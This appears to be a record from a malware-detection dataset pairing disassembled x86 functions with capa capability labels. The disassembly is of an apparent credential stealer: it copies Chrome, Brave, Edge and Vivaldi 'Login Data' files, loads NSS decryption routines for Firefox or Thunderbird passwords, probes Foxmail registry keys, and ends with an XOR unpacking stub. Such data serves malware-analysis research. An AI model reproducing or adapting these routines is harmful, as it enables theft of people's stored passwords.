joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c00
Capabilities:
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0xd4], 0x4a6534
lea eax, [ebp - 0xd0]
mov dword [ebp - 4], eax
mov dword [ebp - 0xe0], 0
jmp 0x401c41
mov ecx, dword [ebp - 0xe0]
add ecx, 1
mov dword [ebp - 0xe0], ecx
cmp dword [ebp - 0xe0], 1
jae 0x401c7a
push 0x64
mov edx, dword [ebp - 0xe0]
mov eax, dword [ebp + edx*4 - 4]
push eax
push 0
push 8
mov ecx, dword [0x4bb3e8]
push ecx
mov edx, dword [ebp - 0xe0]
mov eax, dword [ebp + edx*4 - 0xd4]
push eax
call fcn.0040b370
add esp, 0x18
jmp 0x401c32
mov dword [ebp - 0xd8], 0
call fcn.00401b00
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
je 0x401e2f
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
je 0x401e22
mov ecx, dword [ebp - 0xdc]
push ecx
lea edx, [ebp - 0xd0]
push edx
push 0x7fff
mov eax, dword [ebp - 0xe4]
push eax
call fcn.004930ae
add esp, 0x10
mov dword [ebp - 0xe8], 0xffffffff
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov ecx, dword [ebp - 0xe4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xffffffff
je 0x401e15
push 0x138
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
je 0x401e08
push 0
lea edx, [ebp - 0xf0]
push edx
push 0x138
mov eax, dword [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0xe8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xf0], 0x138
jne 0x401dfb
mov edx, dword [ebp - 0xec]
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf4]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
jne 0x401dfb
mov edx, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0xf8]
cmp dword [ecx], 0x4550
jne 0x401dfb
mov edx, dword [ebp - 0xf8]
add edx, 0x18
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [eax]
cmp ecx, 0x20b
jne 0x401dd5
mov dword [ebp - 0xd8], 0x40
jmp 0x401dfb
mov edx, dword [ebp - 0xfc]
movzx eax, word [edx]
cmp eax, 0x10b
jne 0x401df1
mov dword [ebp - 0xd8], 0x20
jmp 0x401dfb
mov dword [ebp - 0xd8], 0
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0xe8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xdc]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret
Function at 0x401e50
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xf0], str.ENCCHAR_NSS_Init
mov dword [ebp - 0xec], str.ENCCHAR_NSS_Shutdown
mov dword [ebp - 0xe8], str.ENCCHAR_PK11_GetInternalKeySlot
mov dword [ebp - 0xe4], str.ENCCHAR_PK11_FreeSlot
mov dword [ebp - 0xe0], str.ENCCHAR_PK11_Authenticate
mov dword [ebp - 0xdc], str.ENCCHAR_PK11SDR_Decrypt
lea eax, [ebp - 0x158]
mov dword [ebp - 0x174], eax
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x170], ecx
lea edx, [ebp - 0x1e0]
mov dword [ebp - 0x16c], edx
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x168], eax
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x164], ecx
lea edx, [ebp - 0x248]
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x2b4], 0
jmp 0x401eff
mov eax, dword [ebp - 0x2b4]
add eax, 1
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 6
jae 0x401f3a
push 0x64
mov ecx, dword [ebp - 0x2b4]
mov edx, dword [ebp + ecx*4 - 0x174]
push edx
push 0
push 7
mov eax, dword [0x4bb3ec]
push eax
mov ecx, dword [ebp - 0x2b4]
mov edx, dword [ebp + ecx*4 - 0xf0]
push edx
call fcn.0040b6e0
add esp, 0x18
jmp 0x401ef0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
je 0x401ffe
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4ba84c], eax
lea eax, [ebp - 0xd8]
push eax
mov ecx, dword [ebp - 0x15c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4bb390], eax
lea edx, [ebp - 0x1e0]
push edx
mov eax, dword [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4ba840], eax
lea ecx, [ebp - 0x2b0]
push ecx
mov edx, dword [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4ba848], eax
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x15c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4bb38c], eax
lea edx, [ebp - 0x248]
push edx
mov eax, dword [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4ba844], eax
mov eax, 1
jmp 0x402000
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret
Function at 0x403470
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fd0
call fcn.00493810
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0x1fa0
mov dword [ebp - 0x14], 0
mov dword [ebp - fcn.00450000], 0x4a63be
push 0x1fa0
push 0
lea eax, [ebp - 0x1fc0]
push eax
call fcn.00493180
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x1fc0]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.00493780
add esp, 4
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x4035c0
call dword [0x4ba840]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4035b6
push 0
push 1
mov edx, dword [ebp - 0x14]
push edx
call dword [0x4bb38c]
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40359d
lea eax, [ebp - 0x1fc0]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1fcc], 0
mov dword [ebp - 0x1fc8], 0
push 0
lea edx, [ebp - 0x1fd0]
push edx
lea eax, [ebp - 0xc]
push eax
call dword [0x4ba844]
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x403591
mov ecx, dword [ebp - 0x1fc8]
push ecx
mov edx, dword [ebp - 0x1fcc]
push edx
lea eax, [ebp - 0x1fc0]
push eax
call fcn.00493210
add esp, 0xc
mov ecx, dword [ebp - 0x1fc8]
mov byte [ebp + ecx - 0x1fc0], 0
lea edx, [ebp - 0x1fc0]
mov dword [ebp - 0x1fc4], edx
jmp 0x40359b
mov dword [ebp - 0x1fc4], str.PKllSDRDecrypt___error
jmp 0x4035a7
mov dword [ebp - 0x1fc4], str.PKllAuthenticate___error
mov eax, dword [ebp - 0x14]
push eax
call dword [0x4ba848]
add esp, 4
jmp 0x4035c0
mov dword [ebp - 0x1fc4], str.PKllGetInternalKeySlot___error
mov eax, dword [ebp - 0x1fc4]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret
Function at 0x403640
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x278], 0x4a6a90
mov dword [ebp - 0x274], str.ENCWCHAR_GoogleChromeUser_DataDefaultLogin_Data
lea eax, [ebp - 0x268]
mov dword [ebp - 0x270], eax
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x280], 0
jmp 0x40369a
mov edx, dword [ebp - 0x280]
add edx, 1
mov dword [ebp - 0x280], edx
cmp dword [ebp - 0x280], 2
jae 0x4036d9
push 0x96
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp + eax*4 - 0x270]
push ecx
push 0
push 8
mov edx, dword [0x4bb3e8]
push edx
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp + eax*4 - 0x278]
push ecx
call fcn.0040b370
add esp, 0x18
jmp 0x40368b
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0
je 0x40383d
mov edx, dword [ebp - 0x27c]
push edx
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x403830
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0
je 0x403830
mov eax, dword [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x268]
push ecx
push 0x7fff
mov edx, dword [ebp - 0x284]
push edx
call fcn.004930ae
add esp, 0x10
mov dword [ebp - 0x288], 0
lea eax, [ebp - 0x288]
push eax
push 0
push 0
push 0x4ae560
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x403823
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0
je 0x403816
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 0x288]
push edx
push 0x4a6b24
push 0x7fff
mov eax, dword [ebp - 0x28c]
push eax
call fcn.004930ae
add esp, 0x14
push 0
mov ecx, dword [ebp - 0x284]
push ecx
mov edx, dword [ebp - 0x28c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x403809
mov eax, dword [ebp - 0x288]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x28c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x27c]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x284]
jmp 0x40383f
mov eax, dword [ebp - 0x28c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x288]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 0x284]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret
Function at 0x403b60
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403c87
mov eax, dword [ebp - 4]
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x403c7d
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403c7d
mov ecx, dword [ebp - 4]
push ecx
push 0x4a6c54
push 0x7fff
mov edx, dword [ebp - 8]
push edx
call fcn.004930ae
add esp, 0x10
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x4ae560
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x403c73
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x403c69
mov dword [ebp - 0x14], str.BraveSoftwareBrave_BrowserUser_DataDefaultLogin_Data
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x4a6c6c
push 0x7fff
mov eax, dword [ebp - 0x10]
push eax
call fcn.004930ae
add esp, 0x14
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x403c5f
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
jmp 0x403c89
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x403c90
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403db7
mov eax, dword [ebp - 4]
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x403dad
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403dad
mov ecx, dword [ebp - 4]
push ecx
push 0x4a6cec
push 0x7fff
mov edx, dword [ebp - 8]
push edx
call fcn.004930ae
add esp, 0x10
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x4ae560
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x403da3
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x403d99
mov dword [ebp - 0x14], str.MicrosoftEdgeUser_DataDefaultLogin_Data
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x4a6d04
push 0x7fff
mov eax, dword [ebp - 0x10]
push eax
call fcn.004930ae
add esp, 0x14
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x403d8f
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
jmp 0x403db9
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x406740
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 0x12c
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4067dd
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 2
push str.Executable
push 0x4a7b38
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x4067d3
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x10], eax
push str..exe
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4067d3
push 0x5c
mov eax, dword [ebp - 4]
push eax
call fcn.00409250
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4067d3
xor ecx, ecx
mov edx, dword [ebp - 0x14]
mov word [edx], cx
mov eax, dword [ebp - 4]
jmp 0x4067df
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4067f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x12c
push 0x258
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x406847
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 2
push str.Version
push str.SOFTWAREAerofoxFoxmailPreview
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x40683d
mov eax, dword [ebp - 4]
jmp 0x406849
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4082c0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4083e7
mov eax, dword [ebp - 4]
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4083dd
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4083dd
mov ecx, dword [ebp - 4]
push ecx
push str._sDATABASE
push 0x7fff
mov edx, dword [ebp - 8]
push edx
call fcn.004930ae
add esp, 0x10
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x4ae560
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x4083d3
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4083c9
mov dword [ebp - 0x14], str.VivaldiUser_DataDefaultLogin_Data
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x4a80a4
push 0x7fff
mov eax, dword [ebp - 0x10]
push eax
call fcn.004930ae
add esp, 0x14
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x4083bf
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
jmp 0x4083e9
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x408b90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0xfffe
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x408bea
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10000002
push 0x4a825c
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths_thunderbird.exe
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x408be0
mov eax, dword [ebp - 8]
jmp 0x408bec
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x443400
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [eax], 0
push 0
push 0x14
call fcn.0040ea40
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x44342c
mov eax, 7
jmp 0x4434d4
cmp dword [0x4b2ae4], 0
je 0x443446
push 0xc8
call fcn.0041a920
add esp, 4
test eax, eax
je 0x443458
push 0x14
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.00493180
add esp, 0xc
jmp 0x4434a5
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x10]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 4]
add eax, 4
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0x4434e0
push 0
push 0
call fcn.004962f4
add esp, 0x18
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x4434a5
push 0x14
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.00493180
add esp, 0xc
mov edx, dword [ebp - 4]
cmp dword [edx + 8], 0
jne 0x4434ca
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 0x10]
push edx
call dword [ebp + 0xc]
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov dword [edx], eax
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4931fa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b9510]
jne 0x493204
repz ret
jmp fcn.0049794f

Function at 0x4a05ac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004994eb
and dword [ebp - 0x14], 0
cmp dword [0x4bf1b8], 0
mov dword [ebp - 0x18], eax
jne 0x4a065f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4a0707
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4a0707
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4bf1b8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4bf1bc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4bf1c0], eax
call edi
push eax
call esi
mov dword [0x4bf1c8], eax
test eax, eax
je 0x4a065f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4bf1c4], eax
mov eax, dword [0x4bf1c4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4a06b8
cmp dword [0x4bf1c8], ecx
je 0x4a06b8
push eax
call esi
push dword [0x4bf1c8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4a06b8
test ebx, ebx
je 0x4a06b8
call edi
test eax, eax
je 0x4a06af
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4a06af
test byte [ebp - 8], 1
jne 0x4a06b8
or dword [ebp + 0x10], 0x200000
jmp 0x4a06eb
mov eax, dword [0x4bf1bc]
cmp eax, dword [ebp - 0x18]
je 0x4a06eb
push eax
call esi
test eax, eax
je 0x4a06eb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4a06eb
mov eax, dword [0x4bf1c0]
cmp eax, dword [ebp - 0x18]
je 0x4a06eb
push eax
call esi
test eax, eax
je 0x4a06eb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4bf1b8]
call esi
test eax, eax
je 0x4a0707
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4a0709
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004931fa
leave
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..00cfg
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x101572bc
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x646245fc
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219